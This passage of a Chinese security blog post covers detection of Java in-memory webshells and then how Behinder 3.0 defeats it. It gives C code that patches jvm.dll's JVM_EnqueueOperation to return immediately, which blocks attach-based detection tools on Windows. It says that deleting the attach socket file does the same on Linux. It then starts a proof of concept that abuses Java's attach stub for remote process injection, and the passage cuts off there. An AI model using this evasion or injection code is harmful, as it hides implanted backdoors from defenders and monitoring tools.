1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>基于反射的检测方法</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">该方法是一种轻量级的检测方法，不需要注入Java进程，主要用于检测非Agent型的内存马，由于非Agent型的内存马会在Java层新增多个类和对象，并且会修改一些已有的数组，因此通过反射的方法即可检测，但是这种方法无法检测Agent型内存马。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin-right: 10px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;text-indent: -20px;">•</span><span style="text-indent: -20px;">基于instrument机制的检测方法</span></p><p style="box-sizing: border-box;margin: 10px;line-height: 1.6;"><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;text-indent: -20px;">该方法是一种通用的重量级检测方法，需要将检测逻辑通过attach API注入Java进程，理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测，java.lang.instrument是Java 1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制，这种机制广泛应用于各种Java性能检测框架、程序调试框架，如JProfiler、IntelliJ IDE等，当然近几年比较流行的RASP也是基于此类技术。</span></p><p><br/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">既然通过instrument机制能检测到Agent型内存马，那我们怎么样才能避免被检测到呢？答案比较简单，也比较粗暴，那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理，检测软件无法attach，自然也就无法检测。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先，我们先分析一下instrument的工作流程，如下图：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.5953703703703703" style="box-sizing: border-box;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e6024cf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0vkmAZUKos2xNa9Im6icgp5oicky4ib4zPoElCjOxswPiaLO9QaYu6MPW7g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>检测工具作为Client，根据指定的PID，向目标JVM发起attach请求；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span>JVM收到请求后，做一些校验（比如上文提到的jdk.attach.allowAttachSelf的校验），校验通过后，会打开一个IPC通道。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">3.</span>接下来Client会封装一个名为AttachOperation的C++对象，发送给Server端；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">4.</span>Server端会把Client发过来的AttachOperation对象放入一个队列；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">5.</span>Server端另外一个线程会从队列中取出AttachOperation对象并解析，然后执行对应的操作，并把执行结果通过IPC通道返回Client。</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">由于该套流程的具体实现在不同的操作系统平台上略有差异，因此接下来我分平台来展开。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">windows平台</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">通过分析定位到如下关键代码：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.24722222222222223" src="https://wechat2rss.xlab.app/img-proxy/?k=924dec59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0WYfb478kYQa8r6DSicc9DIEPLmE8xjb0yBClmR6J3OB4ibHMyqicO9Mcw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到当var5不等于0的时候，attach会报错，而var5是从var4中读取的，var4是execute的返回值，跟入execute，如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="681" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="1.5271659324522762" src="https://wechat2rss.xlab.app/img-proxy/?k=b0c3fd96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0ukTD0Cgk7JbrkcZ9ia4acbsZKmUe1iaKbPSJf1mJwwvlur2icX2kRiaVQw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到，execute方法又把核心工作交给了方法enqueue，这个方法是一个native方法，如下图： <img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.09166666666666666" src="https://wechat2rss.xlab.app/img-proxy/?k=54e604da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0bZ4v5kpc9zhkqG6rfAWLRicQO3jtckicylWSeslG81ibrKS2oAIMFic1Uw%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>继续跟入enqueue方法：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.8342592592592593" src="https://wechat2rss.xlab.app/img-proxy/?k=d07e66bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0r0iaz2ufQzDWuRubibPj9GphUYXyz5gCCpM9zIZDMgzZ8CNPkB5F8Msw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到enqueue中封装了一个DataBlock对象，里面有几个关键参数:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">strcpy</span>(data.jvmLib, <span class="code-snippet__string">&#34;jvm&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">strcpy</span>(data.func1, <span class="code-snippet__string">&#34;JVM_EnqueueOperation&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">strcpy</span>(data.func2, <span class="code-snippet__string">&#34;_JVM_EnqueueOperation@20&#34;</span>);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">以上操作都发生在Client侧，接下来我们转到Server侧，定位到如下代码：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.6296296296296297" src="https://wechat2rss.xlab.app/img-proxy/?k=76c7db73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0GktWicPyFlOFUmPLpRlMXuezYiaeWPA5ogicibQ5fW9MWABWIoITQlUkJA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这段代码是把Client发过来的对象进行解包，然后解析里面的指令。经常写Windows shellcode的人应该会看到两个特别熟悉的API：GetModuleHandle、GetProcAddress，这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和_JVM_EnqueueOperation@20的两个导出函数，这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">到这里我想大家应该知道接下来该怎么做了，那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉，不就可以成功把instrument的流程给破坏掉了么？</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">静态分析结束了，接下来动态调试Server侧，定位到如下位置：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.55" src="https://wechat2rss.xlab.app/img-proxy/?k=afd2e746&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0Gflria5vl3CpL0nTlhZkqg8QzNCQru7eEmbYUJ2O5FURw8ABzfwjN2g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">图中RIP所指即为JVM_EnqueueOperation函数的入口，我们只要让RIP执行到这里直接返回即可：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="827" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.4848851269649335" src="https://wechat2rss.xlab.app/img-proxy/?k=0e4b3386&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0B9Hibne1MJZRQ2YvuicNl03Jcib0kZFodAg8BtLRfaTpqr76FveqJDEgw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">怎么修改呢？当然是用JNI，核心代码如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">unsigned char buf[]=<span class="code-snippet__string">&#34;\xc2\x14\x00&#34;</span>; <span class="code-snippet__regexp">//</span><span class="code-snippet__number">32</span>,direct <span class="code-snippet__keyword">return</span> enqueue function</span></code><code><span class="code-snippet_outer">HINSTANCE hModule = LoadLibrary(L<span class="code-snippet__string">&#34;jvm.dll&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__regexp">//</span>LPVOID dst=GetProcAddress(hModule,<span class="code-snippet__string">&#34;ConnectNamedPipe&#34;</span>);</span></code><code><span class="code-snippet_outer">LPVOID dst=GetProcAddress(hModule,<span class="code-snippet__string">&#34;_JVM_EnqueueOperation@20&#34;</span>);</span></code><code><span class="code-snippet_outer">DWORD old;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (VirtualProtectEx(GetCurrentProcess(),dst, <span class="code-snippet__number">3</span>, PAGE_EXECUTE_READWRITE, &amp;old)){</span></code><code><span class="code-snippet_outer">WriteProcessMemory(GetCurrentProcess(), dst, buf, <span class="code-snippet__number">3</span>, NULL);</span></code><code><span class="code-snippet_outer">VirtualProtectEx(GetCurrentProcess(), dst, <span class="code-snippet__number">3</span>, old, &amp;old);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">/*unsigned char buf[]=<span class="code-snippet__string">&#34;\xc3&#34;</span>; <span class="code-snippet__regexp">//</span><span class="code-snippet__number">64</span>,direct <span class="code-snippet__keyword">return</span> enqueue function</span></code><code><span class="code-snippet_outer">HINSTANCE hModule = LoadLibrary(L<span class="code-snippet__string">&#34;jvm.dll&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__regexp">//</span>LPVOID dst=GetProcAddress(hModule,<span class="code-snippet__string">&#34;ConnectNamedPipe&#34;</span>);</span></code><code><span class="code-snippet_outer">LPVOID dst=GetProcAddress(hModule,<span class="code-snippet__string">&#34;JVM_EnqueueOperation&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__regexp">//printf</span>(<span class="code-snippet__string">&#34;ConnectNamedPipe:%p&#34;</span>,dst);</span></code><code><span class="code-snippet_outer">DWORD old;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (VirtualProtectEx(GetCurrentProcess(),dst, <span class="code-snippet__number">1</span>, PAGE_EXECUTE_READWRITE, &amp;old)){</span></code><code><span class="code-snippet_outer">WriteProcessMemory(GetCurrentProcess(), dst, buf, <span class="code-snippet__number">1</span>, NULL);</span></code><code><span class="code-snippet_outer">VirtualProtectEx(GetCurrentProcess(), dst, <span class="code-snippet__number">1</span>, old, &amp;old);</span></code><code><span class="code-snippet_outer">}*<span class="code-snippet__regexp">/</span></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">注意这里要考虑32位和64位的区别，同时要注意堆栈平衡，否则可能会导致进程crash。到此，我们就实现了Windows平台上的内存马防检测（Anti-Attach）功能，我们尝试用JProfiler连接试一下，可见已经无法attach到目标进程了：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="515" data-type="png" style="box-sizing: border-box;" data-ratio="0.7514563106796116" src="https://wechat2rss.xlab.app/img-proxy/?k=9372dcf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0fqgkbRjCfnkQN1aVWjoNfAGm3qK76ichxEW9Lswtz403Gb5hZ5M2Haw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">以上即是Windows平台上的内存马防检测功能原理。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">Linux平台</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在Linux平台，instrument的实现略有不同，通过跟踪整个流程定位到如下代码：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.5537037037037037" src="https://wechat2rss.xlab.app/img-proxy/?k=a9fed1bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0uMgQ1alcAG5CQTNba4Q84ShsyZr5icAUkhYIPJtnMkAAA4HIom2fNXw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到，在Linux平台上，IPC通信采用的是UNIX Domain Socket，因此想破坏Linux平台下的instrument attach流程还是比较简单的，只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后，我们尝试对目标JVM进行attach，便会提示无法attach：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="968" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.737603305785124" src="https://wechat2rss.xlab.app/img-proxy/?k=f73bfee0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP06UKvvpYgmjP7sBFCUTJbhpzBkPVvEwvQFU8Bz9yO2gR36vUXNehx4g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">到此，我们就实现了Linux平台上的内存马防检测（Anti-Attach）功能，当然其他*nix-like的操作系统平台也同样适用于此方法。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">最后说一句，内存马防检测，其实可以在上述instrument流程图中的任意一个环节进行破坏，都可以实现Anti-Attach的效果。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">Java原生远程进程注入</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在Windows平台上，进程代码注入有很多种方法，最经典的方法要属CreateRemoteThread，但是这些方法大都被防护系统盯得死死的，比如我写了如下一个最简单的远程注入shellcode的demo：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="815" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.8760736196319019" src="https://wechat2rss.xlab.app/img-proxy/?k=6966e055&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0Pcos71uQBV4rUJLCUYsEOOiaoibjXxWibGRM1Ctw5XlnTpzPibrcEn2Xow%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">往当前进程里植入一个弹计算器的shellcode，编译，运行，然后意料之中出现如下这种情况：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.55" src="https://wechat2rss.xlab.app/img-proxy/?k=15329bea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0iavOb0ak8Uy6v4IkIymuv48yrmdPKa2ShFagLrTicbqOoq1CBwSBAhDw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是经过分析JVM的源码我发现，在Windows平台上，Java在实现instrument的时候，出现了一个比较怪异的操作。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在Linux平台，客户端首先是先和服务端协商一个IPC通道，然后后续的操作都是通过这个通道传递AttachOperation对象来实现，换句话说，这中间传递的都是数据，没有代码。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是在Windows平台，客户端也是首先和服务端协商了一个IPC通道（用的是命名管道），但是在Java层的enqueue函数中，同时还使用了CreateRemoteThread在服务端启动了一个stub线程，让这个线程去在服务端进程空间里执行enqueue操作：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="759" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="1.077733860342556" src="https://wechat2rss.xlab.app/img-proxy/?k=ef9c73ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0D7s81T3yV7iaQKPx0HGtG7surxQOuic8m9cKxhguWXJ5gm5hibc4Jjhdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这个stub执行体pCode是在客户端的native层生成的，生成之后作为thread_func传给服务端。但是，虽然stub是在native生成的，这个stub却又在Java层周转了一圈，最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这样就形成了一个完美的原生远程进程注入，构造如下POC：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index 